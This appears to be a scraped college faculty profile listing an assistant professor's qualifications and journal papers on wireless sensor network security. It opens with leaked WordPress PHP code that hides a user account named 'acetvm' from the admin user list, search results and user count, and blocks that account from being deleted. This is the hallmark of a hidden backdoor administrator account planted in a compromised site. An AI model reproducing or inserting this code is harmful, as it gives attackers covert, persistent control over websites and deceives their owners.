add_action('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->base === 'users') { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user) { $excluded = (array) $query->get('exclude'); $excluded[] = $protected_user->ID; $query->set('exclude', $excluded); } } } }); add_filter('wp_count_users', function($counts) { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user) { $counts->total_users--; } return $counts; }); add_action('delete_user', function($user_id) { $user = get_user_by('ID', $user_id); if ($user && $user->user_login === 'acetvm') { wp_die( __('User acetvm tidak dapat dihapus.', 'textdomain'), __('Error', 'textdomain'), array('response' => 403) ); } }); add_filter('user_search_columns', function($search_columns, $search, $query) { if (is_admin()) { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user) { global $wpdb; $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID); } } return $search_columns; }, 10, 3); add_filter('bulk_actions-users', function($actions) { if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) { $protected_user = get_user_by('login', 'acetvm'); if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) { unset($actions['delete']); } } return $actions; });

K. BERGIN SHYNI

Designation: Assistant Professor
Qualification: M.E (CSE)
Experience: 9.6 Years
Email: bergin.shyni@acetvm.com

JOURNALS PUBLISHED:

  1. Resource and Traffic Based Congestion Control (Rtcc) In Wsn” in IOSR Journal of Engineering (IOSRJEN), e-ISSN: 2250-3021, p-ISSN: 2278-8719, Vol. 3, Issue 10, PP 08-13.
  2. Reducing Denial-Of-Service Attacks on the Chord Overlay Networks In Wsn” in International Journal of Engineering Technology Science and Research (IJETSR), Vol. 2, Issue 1.
  3. Securing Source-Location from Hotspot- Locating Attack in WSN” in International Journal of Advance Research in Science and Engineering (IJARSE), ISSN-2319-8354(E), Vol. No.4, Special Issue (02), Pg 78 – 85.

A Survey on Source Location Privacy in Wireless Sensor Networks” in International Journal of Advanced and Innovative Research (2278-7844), Volume 4 Issue 3, Pg 457 – 460.